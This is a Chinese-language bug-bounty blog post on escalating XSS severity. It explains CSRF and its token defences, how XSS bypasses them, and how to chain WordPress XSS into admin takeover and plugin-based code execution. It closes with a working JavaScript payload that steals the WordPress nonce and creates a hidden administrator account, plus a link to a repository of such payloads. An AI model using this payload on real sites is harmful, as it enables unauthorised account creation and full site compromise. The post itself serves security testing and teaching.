登陆 注册

如何将XSS漏洞从中危提升到严重

小威 2019-05-24 XSS漏洞

当你在提交一个XSS漏洞之前,应该想办法寻找一切可以利用它来提高严重性的办法。我的报告中记录了时下流行的平台,如Wordpress和Drupal的一些武器化的javascript Payload。并且我将在接下来的几周内添加更多内容。

就像往常一样,我每天都会从Twitter的推送中看到XSS漏洞未充分发挥最大危害的文章。今天也不例外,我不想点名批评,我们暂且称作者为“Jim”。文章内容大致如下:

  1. Jim 在用户输入处发现了一些未过滤的返回到页面的输入点;

  2. 在输入处输入<script>alert(1)</script>,弹窗成功;

  3. 漏洞定级为 P3/中危;

  4. 获得赏金 300$;

  5. 结束。

目标是一个规模非常大的公司,并且该XSS漏洞处于他们的一个主站。该站点有一个顾客登录门户并执行许多高度敏感的操作。Jim不知道的是,只要他再多花点功夫,这个漏洞就可以升级为一键账户托管,然后将会获取大约 5000$ 的赏金。大家千万不要像Jim一样。

这个问题并不仅仅只有Jim存在,很多渗透测试的人和漏洞赏金猎人,都不会投入精力去构建完全武器化的XSS Payload,因为这很费时或者太困难,甚至有可能他们根本不知道这是可以做到的。在本文结尾,你将掌握如何武器化XSS漏洞的相关知识点;你还将获得一些我精心制作的XSS Payload,这些Payload可以使攻击者完全控制一些流行的CMS,像Wordpress和Drupal。

在继续说XSS之前,我们需要先讨论一下CSRF漏洞。CSRF漏洞就是攻击者可以诱导受害者在他们自己的浏览器上点击链接,以受害者的session执行一些敏感的操作。例如,假设下方的URL是某Web应用中用户修改密码的操作。

https://www.example.com/profile/update_password?new_password=Welcome1

当然,将密码放到GET型请求中,是很不好的方式,但是让我们暂且忽略这一点。如果这个地方没有做CSRF防护,那么攻击者便可以发送如下链接给受害者:

https://www.example.com/profile/update_password?new_password=HACKER

当受害者在 www.example.com站点已经是认证通过状态,如果点击了这个链接,那么修改密码的请求便会以受害者的session数据发送到服务端。这将会导致受害者的密码被修改为HACKER。

CSRF防护

你可能会思考 “如何修复这个漏洞”。首先,此类操作都应该改用POST请求,实际数据都应该放到请求Body中。因为同源策略的原因POST型CSRF是更加难以利用的。不过,仍有特殊情况。

最常见的防护措施便是使用 CSRF TOKEN(又名 nonce)。基本前提是这个字符串被随机生成并且只能通过用户的浏览器来使用。任何时候,当要发送请求执行敏感操作时,这个TOKEN一同被发送。然后服务端将会校验这个TOKEN是否正确。如果正确那么这个表单的请求将会被执行,否则将会被服务端拒绝。更多细节你可以看:OWASP CSRF Prevention Cheat Sheet

尽管如此,如果你发现了一个XSS漏洞,那么你可以绕过当前几乎所有的CSRF防护。唯一的例外便是,一些表单需要某种人为干预才能提交(如下所述)。

如何利用XSS绕过CSRF防护

首先,XSS漏洞可以完全绕过同源策略。通过XSS构造的请求与任何来自该应用程序的其他请求一样,均不会被阻止。

其次,XSS可以绕过CSRF TOKEN的使用,因为注入的javascript代码可以很容易的从表单的源码中检索到这个有效的TOKEN,然后将它连同一个敏感的请求一起发送。下面的这个案例便使用了这个技术。

案例:在Wordpress中升级XSS来获取所有控制权限

思考下面的这些情况:

  1. 就目前而言,在互联网上使用Wordpress搭建的站点约占30%;

  2. 攻击者可以利用一个XSS漏洞在一个正在运行中的Wordpress站点中创建一个具有管理员权限的用户;

  3. 管理员权限可以在Wordpress中上传插件;

  4. 通过上传恶意插件可以实现远程代码执行。

通过将上面这些情况串联起来,你可以看到武器化的XSS如何在基于Wordpress的站点上实现远程代码执行:只需要一个管理员点击你的Payload!

如果你想到使用WPScan之类的工具来枚举Wordpress站点上的用户名,那么这对站点来说是很危险的。这些账号所有者的信息通常可以通过Google来搜索网站归属者的姓名和公司名称,或者在LinkedIn上搜索。

另外,大多数Wordpress的插件和主题都是独立开发的,并且因各种漏洞而臭名昭著。例如这里可以找到14000个:https://wpvulndb.com/

我最近在一个bug bountry的项目中遇到了这样一个情景。我在一个基于Wordpress的站点上发现了一个反射型XSS,而具有管理权限的完整用户名可以通过WPScan来枚举获得。我在bug bountry上提交了这个攻击链,最终将我的漏洞定级为了P1/严重。尽管核心缺陷不过是一个反射型XSS,所以说漏洞所处的环境很重要。

Payload

与文章一起,我在Github上发布了一个javascript Payload的项目:用来在Wordpress和Drupal的站点上添加一个具有管理员权限的用户。里面暂时只有两个Payload,后续我会逐渐添加更多的流行的平台或者框架的武器化javascript Payload。你可以看这里:

https://github.com/hakluke/weaponised-XSS-payloads

作为开胃菜,这里有一个javascriptPaylaod的示例,用来在Wordpress上创建一个新的具有管理员权限的用户。

/*
Target: Wordpress - tested on 5.1.1 but probably works on other versions
Action: Create a new administrative user with username "hacker", email "hacker@example.com" and password "AttackerP455"
Context: Must be executed in the context of an administrator user
*/ 

var wp_root = "" // don't add a trailing slash
var req = new xm lHttpRequest();
var url = wp_root + "/wp-admin/user-new.php";
var regex = /ser" value="([^"]*?)"/g;
req.open("GET", url, false);
req.send();
var nonce = regex.exec(req.responseText);
var nonce = nonce[1];
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=hacker&email=hacker@example.com&pass1=AttackerP455&pass2=AttackerP455&role=administrator";
req.open("POST", url, true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send(params);


生成海报
请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By HeiBaiTeam.